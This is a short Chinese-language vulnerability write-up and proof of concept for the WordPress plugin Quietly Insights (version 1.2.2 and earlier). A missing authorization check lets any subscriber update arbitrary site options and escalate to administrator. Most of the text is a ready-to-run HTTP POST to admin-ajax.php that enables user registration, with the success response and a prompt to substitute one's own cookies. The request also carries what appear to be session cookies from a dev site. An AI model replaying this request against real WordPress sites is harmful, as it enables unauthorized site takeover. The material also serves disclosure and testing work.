Quietly Insights <= 1.2.2 - 授权缺失导致已认证（订阅者+）任意选项更新
WordPress 的 Quietly Insights 插件存在未经授权修改数据的漏洞，可能因函数缺少权限检查而导致权限提升。该漏洞影响所有版本直至 1.2.2（含）。这使得已认证的攻击者（拥有订阅者及以上权限）能够更新 WordPress 站点上的任意选项。攻击者可利用此漏洞将默认注册角色更改为管理员，并启用用户注册，从而获得对漏洞站点的管理员访问权限。
将 cookies 替换为你自己的。
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1734790221%7CenzNuyQN6cnP5g8Bmw6ZVil29WJCzcIc1bx3Z10l32r%7C31038bfa66d0777c50fba66263f613d288a20d1e14dfc0fc06903f77d1c9e41f; popup_time=2; alwaysStrip=1; _ga=GA1.2.1953252658.1732269795; _ga_16PD6PV48S=GS1.2.1732269795.1.0.1732270283.0.0.0; wp-settings-time-1=1734520301; wp-settings-1=libraryContent%3Dbrowse; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1734790221%7CenzNuyQN6cnP5g8Bmw6ZVil29WJCzcIc1bx3Z10l32r%7C987ff9134b881efe3cced2fa12593fd0ba5b2b02613fb93f48433b112015551a; PHPSESSID=49f0a4bfb294cad31ed4a83ede9bf485; tk_ai=zv7IX5yQT%2F6RzXuKQwqmMvEV; th_shop_mania_thms_time=1735227350366; tk_qs=
action=save_qap_id&option=users_can_register&new_value=1
{"option was":"users_can_register","value was":"1","success":true,"message":"Database updated successfully."}